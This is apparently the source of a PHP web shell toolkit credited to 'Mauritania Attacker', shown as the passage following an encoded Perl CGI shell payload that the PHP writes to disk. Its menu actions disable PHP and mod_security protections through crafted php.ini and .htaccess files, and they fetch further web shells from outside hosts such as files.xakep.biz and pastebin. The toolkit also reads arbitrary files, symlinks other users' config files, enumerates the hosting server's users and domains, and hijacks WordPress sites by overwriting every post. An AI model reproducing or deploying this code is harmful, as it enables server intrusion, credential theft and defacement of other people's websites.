vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZVcGxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlDQp7DQoJJkRvd25sb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0=';

$file = fopen("vw.root" ,"w+");
$write = fwrite ($file ,base64_decode($cgipl));
fclose($file);
chmod("vw.root",0755);
echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Bypass Perl Security</span><br><br><iframe src=cgipl/vw.root width=75% height=50% frameborder=0></iframe>
 
</div>"; 
}
if(isset($_GET['action']) && $_GET['action'] == 'posget'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass posix_getpwuid</span><center><br>';
echo '<form method="POST">
<input size="20" value="0" name="min" type="text">
<font face="Tahoma" color="#007700" size="2pt"> to </font>
<input size="20" value="1024" name="max" type="text"> <input value="Symlink" name="" type="submit">
</form><br>';
if($_POST){
$min = $_POST['min'];
$max = $_POST['max'];
echo"<div class='tmp'><table align='center' width='40%'><td><font color='#e4e4e4'><b>Domains</b></font></td><td><font color='#e4e4e4'><b>Users</b></font></td><td><font color='#e4e4e4'><b>Symlink</b> </font></td>";

$p = 0;
error_reporting(0);
$list = scandir("/var/named");
for($p = $min; $min <= $max; $p++)
{
$user = posix_getpwuid($p);
if(is_array($user)){
	
foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
if($owner['name'] == $user['name'])
{
$i += 1;
$cheechee = checkAlexa($domain);
echo "<tr><td class='cone'><a href='http://".$domain." '>".$domain."</a> <font color='#00bb00'>- </font><font color='#e4e4e4'>".$cheechee."</font></td><center><td class='cone'><font color='#00bb00'>".$user['name']."</font></center></td><td class='cone'><center><a href='sim/rut".$owner['dir']."/public_html/' target='_blank'>Dir</a></center></td>";
}
}
}	
}
}
echo "<center><font face='Tahoma' color='#00bb00' size='2pt'>Total Domains Found:</font><font face='Tahoma' color='#00bb00' size='2pt'> ".$i."</font></center><br />";
}
echo "</table></div><br><br>";
}
if(isset($_GET['action']) && $_GET['action'] == 'suphp'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass PHP Suhosin Function Blacklist</span><center><br>';
echo "<br><form method='POST'>
<input type='text' name='path' size='25' value=".dirname(__FILE__)." '>
<input type='text' name='shell' size='25' value='http://files.xakep.biz/shells/PHP/wso.txt'>
<input type='submit' value='Bypass' name='start'><br><br>";
echo "<textarea class='area' rows='15' cols='78'>virusa worm Mode :) 
";
if($_POST['start']) {
$path = $_POST['path'];
$file = $_POST['shell'];
$htaccess = "suPHP_ConfigPath $path/vworm/php.ini";
$phpini = "c2FmZV9tb2RlID0gT0ZGCnN1aG9zaW4uZXhlY3V0b3IuZnVuYy5ibGFja2xpc3QgPSBOT05FCmRpc2FibGVfZnVuY3Rpb25zID0gTk9ORQ==";
$dir = "vworm"; 
if(file_exists($dir)) {
echo "[+] vworm Folder There Before :)
";
} else {
@mkdir($dir); {
echo "[+] vworm Folder Created :D
";
} }
#Generate Sh3LL
$fopen = fopen("vworm/vw.php",'w');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "[+] Shell Has Been Generated Name : vw.php 
";
} else {
echo "[~] Can't Generate Shell
";
}
fclose($fopen);
#Generate Htaccess
$hopen = fopen("vworm/.htaccess", "w");
$hwrite = fwrite($hopen, $htaccess);
if($hwrite){
echo "[+] htaccess Generated
";
} else {
echo "[~] Can't Generate htaccess
";
}
fclose($hopen);
$ini = fopen("vworm/php.ini" ,"w");
$php = fwrite($ini, base64_decode($phpini));
if($php){
echo "[+] PHP.INI Generated";
} else {
echo "[-] Can't Generate PHP.INI";
}
}
echo "</textarea>";
}
if(isset($_GET['action']) && $_GET['action'] == 'simpelb'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Simple Bypasser</span><center><br>';
echo '<br><font face="Tahoma" color="#007700" size="2pt">Create Folder : </font>
<input type="text" name="dir" size="43" value="worm"> 
<input type="submit" value="Create" name="folder"> <br> <br>
<font face="Tahoma" color="#007700" size="2pt">Get File : </font><br>
<input type="text" name="get" size="16" value="url file .txt"> 
<input type="text" name="name" size="15" value="worm.php">
<input type="text" name="select" size="16" value='.dirname(__FILE__).'>
<input type="submit" value="GET" name="fileget"> <br> <br>
<font face="Tahoma" color="#007700" size="2pt">Fopen File : </font><br>
<input type="text" name="save" size="29" value="vwo.php">
<input type="text" name="path2" size="29" value='.dirname(__FILE__).'><br><br>
<textarea class="area" name="source" cols="78" rows="15">PHP Code</textarea><br><br>
<input type="submit" value="Save" name="fopen">';

if($_POST['folder']) {
$mk = $_POST['dir'];
$func = "bWtkaXI=";
$de = base64_decode($func);
$rules1 = $de($mk);
if ($mk) { 
echo "<br><b class='cone'>[+] Done [ $mk ] Created !</b>";
} }
# File Get Contents
if($_POST['fileget']) {
$get = $_POST['get'];
$n4m = $_POST['name'];
$path = $_POST['select'];
$func2 = "ZmlsZV9nZXRfY29udGVudHM=";
$de2 = base64_decode($func2);
$rules2 = $de2($get);
$open = fopen("$path/$n4m", 'w'); 
fwrite($open,$rules2);
fclose($open);
if($get) { 
echo "done";
} }
#
# fopen File
if($_POST['fopen']) {
$save = $_POST['save'];
$path2 = $_POST['path2'];
$open2 = fopen("$path2/$save", 'w');
$source1 = $_POST['source'];
$source2 = stripslashes($source1);
fwrite($open2 ,$source2);
fclose($open2);
if($open2) {
echo "<b class='tmp'>Done</b>";
} }
}
if(isset($_GET['action']) && $_GET['action'] == 'ritf'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Read File</span><center><br>';
echo "<form method='POST' /> 
<select name='website'>
<option value='show_source'>show_source</option>
<option value='highlight_file'>highlight_file</option>
<option value='readfile'>readfile</option>
<option value='include'>include</option>
<option value='require'>require</option>
<option value='file'>file</option>
<option value='fread'>fread</option>
<option value='file_get_contents'>file_get_contents</option>
<option value='fgets'>fgets</option> 
<input type='text' name='file' size='22' /><input type='submit' name='start'   value='Read Now' />
</select>";

function readfils($file) {

$web = $_POST['website'];

switch ($web)
{
case 'show_source': $show =  @show_source($file);  break;

case 'highlight_file': $highlight = @highlight_file($file); break;

case 'readfile': $readfile = @readfile($file);  break;

case 'include': $include = @include($file); break;

case 'require': $require = @require($file);  break;

case 'file': $file =  @file($file);  foreach ($file as $key => $value) {  print $value; }  break;

case 'fread': $fopen = @fopen($file,"r") or die("Unable to open file!"); $fread = @fread($fopen,90000); fclose($fopen); print_r($fread); break;

case 'file_get_contents': $file_get_contents =  @file_get_contents($file); print_r($file_get_contents);  break;

case 'fgets': $fgets = @fopen($file,"r") or die("Unable to open file!"); while(!feof($fgets)) { echo fgets($fgets); } fclose($fgets); break;

default: 
echo "{$web} Not There"; 
} 
}
	  
echo "<br><br><textarea class='area' rows='15' cols='68' />";
$file = trim($_POST['file']);
if($_POST['start'])
{
readfils($file); }
echo "</textarea>";
}
if(isset($_GET['action']) && $_GET['action'] == 'wrdprshtmlinj'){
echo '<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>';
echo '<form method="POST">
<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Wordpress Index Hijack Priv8</span></center><br>
<p align="center"> 
<img src="http://www3.0zz0.com/2014/08/20/15/615506358.png" /></p>

<br><center><font color="#007700" size="2" face="orion">Coded By Mauritania Attacker</font></center><br>
<center><input type="text" value="localhost" name="pghost">
<input type="text" value="database_name" name="dbnmn">
<input type="text" value="prefix" name="prefix">
<input type="text" value="username_db" name="dbusrrrr">
<input type="text" value="password_db" name="pwddbbn"></center><br>
<center><textarea class="area" name="pown" cols="100" rows="7"><meta http-equiv="refresh" content="0;URL=http://pastebin.com/raw.php?i=WG1zASMG"></textarea><br><br>
<input type="submit" name="up2" value="Hijack Index"><br></center><form>';
$pghost = $_POST['pghost'];
$dbnmn = $_POST['dbnmn'];
$dbusrrrr = $_POST['dbusrrrr'];
$pwddbbn = $_POST['pwddbbn'];
$index = stripslashes($_POST['pown']);
$prefix = $_POST['prefix'];
//$prefix = "wp_";
if ($_POST['up2']) {
@mysql_connect($pghost, $dbusrrrr, $pwddbbn) or die(mysql_error());
@mysql_select_db($dbnmn) or die(mysql_error());
$tableName = $prefix . "posts";
$ghost1 = mysql_query("UPDATE $tableName SET post_title ='" . $index . "' WHERE ID > 0 ");
if (!$ghost1) {
$ghost2 = mysql_query("UPDATE $tableName SET post_content ='" . $index . "' WHERE ID > 0 ");
} elseif (!$ghost2) {
$ghost3 = mysql_query("UPDATE $tableName SET post_name ='" . $index . "' WHERE ID > 0 ");
}
mysql_close();
if ($ghost1 || $ghost2 || $ghost3) {
echo "<center><p><b><font color='red'>Index Website Have been Hijacked Successfully</font></p></b></center>";
} else {
echo "<center><p><b><font color='red'>Failed To Hijack the Website :(</font></p></b></center>";
}
}
}


if(isset($_GET['action']) && $_GET['action'] == 'baidir'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Chmod Directory Priv8</span><br>Coded By Mauritania Attacker<center><br><br>';
echo '<form action="" method="post">
<p>
<center>
<input type="text" name="file" placeholder="/home/user/public_html/directory">
<input type="submit" name="bypass" value="Bypass Chmod Dir">
</form></center></p>';

if($_POST)
{
$mauritania = $_POST['file'];
$ch = @chmod($mauritania,'0311');
if($ch)
{
echo "[+] Directory  <font face='Tahoma' size='3' color='#b0b000'> =>{$mauritania}               => [+] Permission Changed Successfully Bypassed ^_^ [+]";
}
else
{
echo "[-] Directory  <font face='Tahoma' size='3' color='red'> =>{$mauritania}                 => [-] Permission can't be changed , maybe chmod function is disabled :( [-]";
}
}
}
if(isset($_GET['action']) && $_GET['action'] == 'forb14'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Forbidden 2014</span><br>Coded by Mauritania Attacker<center><br><br>';
$fp = fopen("php.ini","w+");
fwrite($fp,"safe_mode = OFF
Safe_mode_gid = OFF
disable_functions = NONE
disable_classes = NONE
open_basedir = OFF
suhosin.executor.func.blacklist = NONE ");
echo'
<form method="post">
<input type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br /><br />
<input type="text" name="ghostfile" value="config.txt" size="60"/><br /><br />
<input type="submit" value="Bypass" name="symlink" /> <br /><br />
</form>
';
echo '<div class="tul"><b>PHP VERSION:</b> <font color="white" face="shell, Geneva, sans-serif" style="font-size: 8pt">';echo phpversion();

$fichier = $_POST['file'];
$ghostfile = $_POST['ghostfile'];
$symlink = $_POST['symlink'];

if ($symlink)
{


$dir = "mauritania";
if(file_exists($dir)) {
echo "<br><font color='red'>[+] mauritania Folder Already Exist _ are you Drunk XD !!!</font><br />";
} else {
@mkdir($dir); {
echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:12px;color:white;>\!/ mauritania Folder Created ^_^ \!/  </b></b>';
echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:12px;color:white;>File Retrieved Successfully</b></b>';

} }

			
$priv9  = "#Priv9 htaccess By Mauritania Attacker
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
DirectoryIndex $ghostfile
ForceType text/plain
AddType text/plain .php 
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
SetEnv PHPRC ".dirname(__FILE__)."/mauritania/php.ini
suPHP_ConfigPath ".dirname(__FILE__)."/mauritania/php.ini
";
$f =@fopen ('mauritania/.htaccess','w');
@fwrite($f , $priv9);

@symlink("$fichier","mauritania/$ghostfile");

echo '<br /><a target="_blank" href="mauritania/" ><font color="white" size"12">'.$ghostfile.'</a></font>';
}
}
if(isset($_GET['action']) && $_GET['action'] == 'smod14'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass SafeMode 2014 Priv8</span><br>Coded by Mauritania Attacker<center><br><br>';
echo "<br><form method='POST'>
<center><font color='#007700' size='2' face='shell'>Cwd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><input type='text' size='40' name='zero' value=".dirname(__FILE__)." &lt;font color='#b0b000' size='8' face='Tahoma'></font></center>
<center><font color='#007700' size='2' face='shell'>Shell&nbsp;&nbsp;&nbsp;&nbsp;</font><input type='text' size='40' name='shell' value='http://pastebin.com/raw.php?i=2gmt5XFH' &lt;font color='#b0b000' size='8' face='Tahoma'></font></center>
<center><font color='#007700' size='2' face='shell'>ini.php&nbsp;</font><input type='text' size='40' name='rim' value='http://pastebin.com/raw.php?i=sEbXwVvt' &lt;font color='#b0b000' size='8' face='Tahoma'></font></center><br>
<center><input type='submit' value='Bypass SafeMode' name='start' ><br></font></center><br>";
echo "<center><textarea class='area' rows='12' cols='60'>Results Will Appear Here ^_^ 
";
if($_POST['start']) {
$zero = $_POST['zero'];
$file = $_POST['shell'];
$mauritania = $_POST['rim'];
$htaccess = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
SetEnv PHPRC $zero/ghost/php.ini";

$phpini = "c2FmZV9tb2RlID0gT0ZGDQpTYWZlX21vZGVfZ2lkID0gT0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCmRpc2FibGVfY2xhc3NlcyA9IE5PTkUNCm9wZW5fYmFzZWRpciA9IE9GRg0Kc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCA9IE5PTkU=";
$dir = "ghost"; 
if(file_exists($dir)) {
echo "[+] ghost Folder Already Exist are you drunk :o xD !
";
} else {
@mkdir($dir); {
echo "[+] ghost Folder Has Been Created Nygga :3 !
";
} }
#Generate Sh3LL
$fopen = fopen("ghost/priv8.php5",'w');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "Shell Has Been Downloaded : $zero/ghost/priv8.php5 
";
} else {
echo "Can't Download Shell :( do it manually :D 
";
}
fclose($fopen);
#Generate Htaccess
$kolsv = fopen("ghost/.htaccess", "w");
$hwrite = fwrite($kolsv, $htaccess);
if($hwrite){
echo ".htaccess Generated Successfully \!/";
} else {
echo "Can't Generate Htaccess";
}
fclose($kolsv);
#Generate ini.php
$xopen = fopen("ghost/ini.php",'w');
$rim = @file_get_contents($mauritania);
$zzz = fwrite($xopen ,$rim);
if($zzz){
echo "ini.php Has Been Downloaded \!/";
} else {
echo "Can't Download ini.php :( do it manually :D ";
}
fclose($xopen);
	
$ini = fopen("ghost/php.ini" ,"w");
$php = fwrite($ini, base64_decode($phpini));
if($php){
echo "PHP.INI Generated Successfully \!/";
} else {
echo "[-] Can't Generate PHP.INI";
}
}
echo "</textarea></center>";
}
if(isset($_GET['action']) && $_GET['action'] == 'setphr'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass suPHP Security</span><center><br>';
echo '<center><form method=post><br><br>
<input type=submit name=gnr value="Generate htaccess" /></form></center>';
          
error_reporting(0);
            
if(isset($_POST['gnr']))
{
mkdir('suPHP',0755);
$rr  = "<IfModule mod_security.c> 
SecFilterEngine Off 
SecFilterScanPOST Off 
SecFilterCheckURLEncoding Off 
SecFilterCheckCookieFormat Off 
SecFilterCheckUnicodeEncoding Off 
SecFilterNormalizeCookies Off 
</IfModule> 
<Limit GET POST> 
order deny,allow 
deny from all 
allow from all 
</Limit> 
<Limit PUT DELETE> 
order deny,allow 
deny from all 
</Limit> 
suPHP_ConfigPath ".getcwd()."/php.ini";
$g = fopen('suPHP/.htaccess','w');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">.htaccess Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class='cone'><a href=suPHP/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
}
echo '<center><form method=post><br><br>
<input type=submit name=gnrp value="Generate php.ini" /></form></center>';
error_reporting(0);
            
if(isset($_POST['gnrp']))
{
mkdir('suPHP',0755);
$rr  = "safe_mode = OFF
Safe_mode_gid = OFF
disable_functions = NONE
disable_classes = NONE
open_basedir = OFF
suhosin.executor.func.blacklist = NONE";
$g = fopen('suPHP/php.ini','w');
fwrite($g,$rr);
echo "<br><br><font color=red size=2 face=\"Courier New\">php.ini Has Been Generated Successfully</font></center><br><br>";
echo "<center><br><b class='cone'><a href=suPHP/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
		
}
}
if(isset($_GET['action']) && $_GET['action'] == 'suppet'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Functions suPHP_ConfigPath Security</span><center><br>';
echo '<center><form method=post><br><br>
<input type=submit name=gnr value="Generate htaccess" /></form></center>';
          
error_reporting(0);
            
if(isset($_POST['gnr']))
{
mkdir('suPHP2',0755);
$rr  = "<IfModule mod_security.c> 
SecFilterEngine Off 
SecFilterScanPOST Off 
SecFilterCheckURLEncoding Off 
SecFilterCheckCookieFormat Off 
SecFilterCheckUnicodeEncoding Off 
SecFilterNormalizeCookies Off 
</IfModule> 
<Limit GET POST> 
order deny,allow 
deny from all 
allow from all 
</Limit> 
<Limit PUT DELETE> 
